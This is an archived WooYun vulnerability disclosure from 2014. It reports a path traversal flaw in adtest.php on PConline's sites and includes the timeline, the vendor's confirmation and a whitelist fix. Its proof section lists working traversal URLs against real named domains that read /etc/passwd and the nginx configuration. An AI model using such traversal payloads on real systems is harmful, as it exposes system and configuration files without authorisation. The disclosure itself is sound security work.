太平洋网络网站群主站任意文件下载漏洞

漏洞概要

缺陷编号:WooYun-2014-054428

漏洞标题:太平洋网络网站群主站任意文件下载漏洞

相关厂商:太平洋电脑网

漏洞作者:卖身养狗

提交时间:2014-03-23 23:25

公开时间:2014-05-07 23:25

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:20

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2014-03-23: 细节已通知厂商并且等待厂商处理中
2014-03-24: 厂商已经确认,细节仅向厂商公开
2014-04-03: 细节向核心白帽子及相关领域专家公开
2014-04-13: 细节向普通白帽子公开
2014-04-23: 细节向实习白帽子公开
2014-05-07: 细节向公众公开

简要描述:

太平洋网络网站群主站任意文件下载
pconline、pclady、pcauto、pcgames\...均中招

详细说明:

都知道太平洋网用的jsp,这个漏洞却发生在php目测跟广告监控有关地址:http://www.pconline.com.cn/adtest.php?url=/../../../../etc/passwd

我们看看这adtest.php做了神马事情。。。。http://www.pconline.com.cn/adtest.php?url=adtest.php

漏洞证明:

http://www.pconline.com.cn/adtest.php?url=/../../../../etc/passwdhttp://www.pcgames.com.cn/adtest.php?url=/../../../etc/passwdhttp://www.pconline.com.cn/adtest.php?url=/../../../../usr/local/nginx/conf/nginx.conf....

修复方案:

adtest.php搞个白名单之类的,最起码不能跨目录啊

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-03-2410:28

厂商回复:

感谢“卖身养狗”提供的漏洞信息,我们已经在安排修复中。
昵称拉风,历史遗留的php文件都给你找到,简直神一样滴存在~

最新状态:

暂无

评价

  1. 2010-01-01 00:00 July 白帽子 | Rank:9 漏洞数:2)

    好像很叼的样子

  2. 2010-01-01 00:00 骚年 白帽子 | Rank:6 漏洞数:1)

    ID 好屌

  3. 2010-01-01 00:00 Metasploit 白帽子 | Rank:32 漏洞数:5)

    程序员要挨批了